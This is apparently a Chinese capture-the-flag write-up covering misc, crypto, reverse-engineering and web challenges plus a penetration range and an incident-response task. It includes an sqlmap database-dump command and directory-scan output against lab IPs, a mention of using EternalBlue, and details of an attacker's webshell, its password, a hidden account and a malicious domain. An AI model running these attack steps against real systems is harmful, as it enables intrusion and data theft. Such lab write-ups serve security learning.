半决赛
Misc
YWB_Misc_文件隐写01
Challenge
文件隐写
Solution
附件是加密压缩包,纯数字爆破得到解压密码882401

解压得到的Word文档把图片移开得到flag

FLAG{12axzaq1sz}YWB_Misc_键盘流量分析
Challenge
我们在监控网络时捕获到一组可疑的流量,现在需要你通过流量包来分析操作者是否传递了某些信息。 注:提交格式为 flag{xxx}。
Solution
一把梭

flag{inop97bc6g9}Crypto
《图像谜途:解锁隐藏的真相》
Challenge
《图像谜途:解锁隐藏的真相》 描述:在一个看似普通的图片中,暗藏着通往密码的秘密。找到正确的图片,成功解压后,揭开加密的flag,才能获得最终的胜利。
Solution
修复文件头得到解压密码ctf@welcome

解压得到的图片的exif信息中找到Y3RmX3lvdV9wYXNzZWQ=,base64解码得到flag:ctf_you_passed
flag{ctf_you_passed}crypto
Challenge
crypto
Solution

flag{hnctfqwer34567}YWB_Crypto_10
Challenge
在修复古代星象馆的穹顶壁画时,你们在黄道十二宫的镶嵌缝隙中发现一卷残缺的羊皮纸。泛黄的纸面上用褪色墨水写着:5uwSOphsp4poQVBJyTUQfsgxFELy 纸背隐约有抄写者潦草的注释: “此乃大图书馆禁室之钥,须以62星轨重排时序。当心,缺失的日月符号会吞噬自身,正如沙漏倒转时消逝的刻度…”
Solution

flag{nisp_9i7u_0kj3e}Reverse
re_python
Challenge
easy python
Solution
pyinstxtractor解包得到1.pyc,反编译得到以下代码
# Source Generated with Decompyle++# File: 1.pyc (Python 3.7)def check(): a = input('plz input your flag:') c = [ 144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8] if len(a) != 42: print('wrong length') return 0 b = None for i in range(len(a)): if ord(a[i]) * 33 % b != c[i]: print('wrong') return None print('win')check()exp如下:
a = ["f","l","a","g"]c = [ 144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]b = 0for k in range(4): for i in range(1,256): if ord(a[k]) * 33 % i == c[k]: b = ifor s in c[4:]: for j in range(0,128): if j * 33 % b == s: a.append(chr(j))flag = "".join(a).replace("e","4")print(flag)RE_C
Challenge
代码分析
Solution
分析代码找到这个字符串102 108 97 103 123 72 78 67 84 70 109 110 103 49 50 51 52 53 125

10进制转字符得到flag
flag{HNCTFmng12345}Web
YWB_Web_SQL注入_boolblind
Challenge
获得数据库中flag值
Solution
sqlmap一把梭
sqlmap -u "http://192.168.20.215:46592/?id=1" -D mylabs -T flagage --dump
flag{jKmFcMh5qbzR}决赛
渗透靶场二
完全仿真业务系统,企业场景包含不同类型虚拟机。在该综合场景下完全仿真相关的系统业务考察内容丰富;考察参赛队伍的信息收集、外网打点、经典漏洞、内网横向、内网信息收集、内网提权等。
1.通过目录扫描获取flag
┌──(root㉿kali)-[~]└─# dirsearch -u http://192.168.1.202 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/reports/http_192.168.1.202/_25-07-12_18-07-02.txtTarget: http://192.168.1.202/[18:07:02] Starting: [18:07:03] 403 - 2KB - /.config.inc.php.swp [18:07:03] 403 - 2KB - /.config.php.swp [18:07:03] 403 - 2KB - /.configuration.php.swp [18:07:03] 403 - 2KB - /.idea/ [18:07:03] 200 - 750B - /.idea/compiler.xml[18:07:03] 301 - 170B - /.idea -> http://192.168.1.202/.idea/ [18:07:03] 200 - 987B - /.idea/encodings.xml [18:07:03] 200 - 569B - /.idea/misc.xml [18:07:03] 200 - 191B - /.idea/vcs.xml [18:07:03] 200 - 6KB - /.idea/workspace.xml [18:07:03] 403 - 2KB - /.index.php.swp [18:07:03] 403 - 2KB - /.localsettings.php.swp [18:07:04] 403 - 2KB - /.php-version [18:07:04] 403 - 2KB - /.php3 [18:07:04] 403 - 2KB - /.php-ini [18:07:04] 403 - 2KB - /.php_cs [18:07:04] 403 - 2KB - /.php_history[18:07:04] 403 - 2KB - /.phpcs.xml[18:07:04] 403 - 2KB - /.php_cs.dist[18:07:04] 403 - 2KB - /.phpspec.yml[18:07:04] 403 - 2KB - /.phpunit.result.cache [18:07:04] 403 - 2KB - /.phpintel[18:07:04] 403 - 2KB - /.php_cs.cache[18:07:04] 403 - 2KB - /.phptidy-cache [18:07:04] 403 - 2KB - /.phpversion[18:07:04] 403 - 2KB - /.settings.php.swp [18:07:04] 403 - 2KB - /.settings/org.eclipse.php.core.prefs [18:07:04] 403 - 2KB - /.svn/text-base/index.php.svn-base [18:07:04] 403 - 2KB - /.wp-config.php.swp [18:07:05] 400 - 2KB - /\..\..\..\..\..\..\..\..\..\etc\passwd [18:07:06] 403 - 2KB - /admin.php3 [18:07:06] 403 - 2KB - /admin/includes/configure.php~ [18:07:08] 403 - 2KB - /app/bootstrap.php.cache [18:07:08] 403 - 2KB - /app/etc/local.xml.phpunit [18:07:09] 403 - 2KB - /bitrix/.settings.php.bak [18:07:09] 403 - 2KB - /bitrix/php_interface/dbconn.php2 [18:07:09] 403 - 2KB - /bitrix/settings.php.bak [18:07:10] 403 - 2KB - /conf.inc.php~ [18:07:10] 403 - 2KB - /conf.php.swp[18:07:10] 403 - 2KB - /conf.php.bak[18:07:10] 403 - 2KB - /conf.php.old [18:07:10] 403 - 2KB - /config.inc.php.txt [18:07:10] 403 - 2KB - /config.inc.php~ [18:07:10] 403 - 2KB - /config.local.php_old [18:07:10] 403 - 2KB - /config.local.php~ [18:07:10] 403 - 2KB - /config.php-eb [18:07:10] 403 - 2KB - /config.php.bak[18:07:10] 403 - 2KB - /config.php.bkp[18:07:10] 403 - 2KB - /config.php.inc[18:07:10] 403 - 2KB - /config.php.dist[18:07:10] 403 - 2KB - /config.php.inc~[18:07:10] 403 - 2KB - /config.php.save[18:07:10] 403 - 2KB - /config.php.old[18:07:10] 403 - 2KB - /config.php.new[18:07:10] 403 - 2KB - /config.php.swp[18:07:10] 403 - 2KB - /config.php.txt[18:07:10] 403 - 2KB - /config.php.zip[18:07:10] 403 - 2KB - /config.php~ [18:07:10] 403 - 2KB - /configuration.php.old [18:07:10] 403 - 2KB - /configuration.inc.php~ [18:07:10] 403 - 2KB - /configuration.php.dist[18:07:10] 403 - 2KB - /configuration.php.save[18:07:10] 403 - 2KB - /configuration.php.bak [18:07:10] 403 - 2KB - /configuration.php.swp[18:07:10] 403 - 2KB - /configuration.php.txt[18:07:10] 403 - 2KB - /configuration.php.zip[18:07:10] 403 - 2KB - /configuration.php~ [18:07:11] 403 - 2KB - /configure.php.bak [18:07:11] 301 - 170B - /doc -> http://192.168.1.202/doc/ [18:07:11] 403 - 2KB - /doc/ [18:07:12] 301 - 170B - /error -> http://192.168.1.202/error/ [18:07:12] 403 - 2KB - /error/ [18:07:12] 403 - 2KB - /file_upload.php3 [18:07:12] 200 - 29B - /flag.txt [18:07:14] 403 - 2KB - /includes/configure.php~ [18:07:14] 403 - 2KB - /index.pHp [18:07:14] 403 - 2KB - /index.php-bak [18:07:14] 403 - 2KB - /index.php. [18:07:14] 403 - 2KB - /index.php.bak[18:07:14] 403 - 2KB - /index.php/login/[18:07:14] 403 - 2KB - /index.php3[18:07:14] 403 - 2KB - /index.php4[18:07:14] 403 - 2KB - /index.php5[18:07:14] 400 - 2KB - /index.php::$DATA[18:07:14] 403 - 2KB - /index.php~ [18:07:14] 301 - 170B - /index_files -> http://192.168.1.202/index_files/[18:07:14] 200 - 1KB - /license [18:07:14] 200 - 1KB - /LICENSE [18:07:15] 403 - 2KB - /local_conf.php.bac [18:07:15] 403 - 2KB - /local_conf.php.bak[18:07:15] 403 - 2KB - /localsettings.php.dist [18:07:15] 403 - 2KB - /localsettings.php.bak[18:07:15] 403 - 2KB - /localsettings.php.old[18:07:15] 403 - 2KB - /localsettings.php.save[18:07:15] 403 - 2KB - /localsettings.php.swp[18:07:15] 403 - 2KB - /localsettings.php.txt[18:07:15] 403 - 2KB - /localsettings.php~[18:07:17] 403 - 2KB - /painel/config/config.php.example [18:07:17] 403 - 2KB - /phpinfo.php3 [18:07:17] 403 - 2KB - /phpinfo.php4 [18:07:17] 403 - 2KB - /phpinfo.php5 [18:07:18] 403 - 2KB - /pi.php5 [18:07:18] 200 - 3KB - /pom.xml [18:07:18] 200 - 4KB - /ReadMe.md [18:07:18] 200 - 4KB - /Readme.md[18:07:18] 200 - 4KB - /README.MD[18:07:18] 200 - 4KB - /README.md [18:07:18] 200 - 4KB - /readme.md[18:07:19] 403 - 2KB - /settings.php.dist [18:07:19] 403 - 2KB - /settings.php.save [18:07:19] 403 - 2KB - /settings.php.old[18:07:19] 403 - 2KB - /settings.php.bak[18:07:19] 403 - 2KB - /settings.php.swp[18:07:19] 403 - 2KB - /settings.php~[18:07:19] 403 - 2KB - /settings.php.txt[18:07:20] 301 - 170B - /sql -> http://192.168.1.202/sql/ [18:07:20] 403 - 2KB - /sql/ [18:07:22] 400 - 2KB - /Trace.axd::$DATA [18:07:22] 403 - 2KB - /upload.php3 [18:07:22] 403 - 2KB - /var/bootstrap.php.cache [18:07:23] 400 - 2KB - /web.config::$DATA [18:07:23] 403 - 2KB - /wp-config.php.0 [18:07:23] 403 - 2KB - /wp-config.php.1[18:07:23] 403 - 2KB - /wp-config.php.2[18:07:24] 403 - 2KB - /wp-config.php-bak [18:07:24] 403 - 2KB - /wp-config.php.3[18:07:24] 403 - 2KB - /wp-config.php.4[18:07:24] 403 - 2KB - /wp-config.php.5[18:07:24] 403 - 2KB - /wp-config.php.bak[18:07:24] 403 - 2KB - /wp-config.php.6[18:07:24] 403 - 2KB - /wp-config.php.8[18:07:24] 403 - 2KB - /wp-config.php.7[18:07:24] 403 - 2KB - /wp-config.php.backup[18:07:24] 403 - 2KB - /wp-config.php.cust[18:07:24] 403 - 2KB - /wp-config.php.9[18:07:24] 403 - 2KB - /wp-config.php.bak1[18:07:24] 403 - 2KB - /wp-config.php.dist[18:07:24] 403 - 2KB - /wp-config.php.disabled[18:07:24] 403 - 2KB - /wp-config.php.new[18:07:24] 403 - 2KB - /wp-config.php.bk[18:07:24] 403 - 2KB - /wp-config.php.inc[18:07:24] 403 - 2KB - /wp-config.php.old[18:07:24] 403 - 2KB - /wp-config.php.orig[18:07:24] 403 - 2KB - /wp-config.php.original[18:07:24] 403 - 2KB - /wp-config.php.save[18:07:24] 403 - 2KB - /wp-config.php.swn[18:07:24] 403 - 2KB - /wp-config.php.swo[18:07:24] 403 - 2KB - /wp-config.php.txt[18:07:24] 403 - 2KB - /wp-config.php.swp[18:07:24] 403 - 2KB - /wp-config.php.zip[18:07:24] 403 - 2KB - /wp-config.php_[18:07:24] 403 - 2KB - /wp-config.php~[18:07:24] 403 - 2KB - /wp-config.php_bak[18:07:24] 403 - 2KB - /wp-config.php_1[18:07:24] 403 - 2KB - /wp-config.php_Old[18:07:24] 403 - 2KB - /wp-config.php_new Task Completedflag1:flag{HNZJS01qwaszx1m}2.通过获取管理员权限得到flag

扫描找到永恒之蓝漏洞

flag{HNZJS01erdfcv2n}应急响应
某天客户反馈:服务器操作过一段时间就会非常卡,重启以后就会好一段时间并且重要文件被加密破坏;请你按照下面相关提示完成应急响应帮助客户进行安全加固。
1.请你获取攻击者的webshell文件(提交如下例:abc.asp )

driver.php2.请你获取攻击者的webshell密码

hack12343.请你获取攻击者的隐藏用户名
Get-LocalUser
hack887$4.根据内网信息排查,发现攻击者投放了恶意信息收集程序是并且定期执行,排查清理恶意程序并且获取恶意信息收集软件名称(提交如下例:shell )

SharpHunter6.请你恢复被病毒感染的文件获取到敏感信息flag
赛中没做出来,我的工具要联网才能用
首先从勒索信的内容判断出来是GandCrabV5.1,找对应的解密工具解密即可


flag{fngD_vwfW_JTqI_E4Kl}7.请你对恶意样本(.bat文件)进行分析获取恶意域名
火绒剑找到可疑启动项

打开恶意脚本就看到了

pro.csocools.com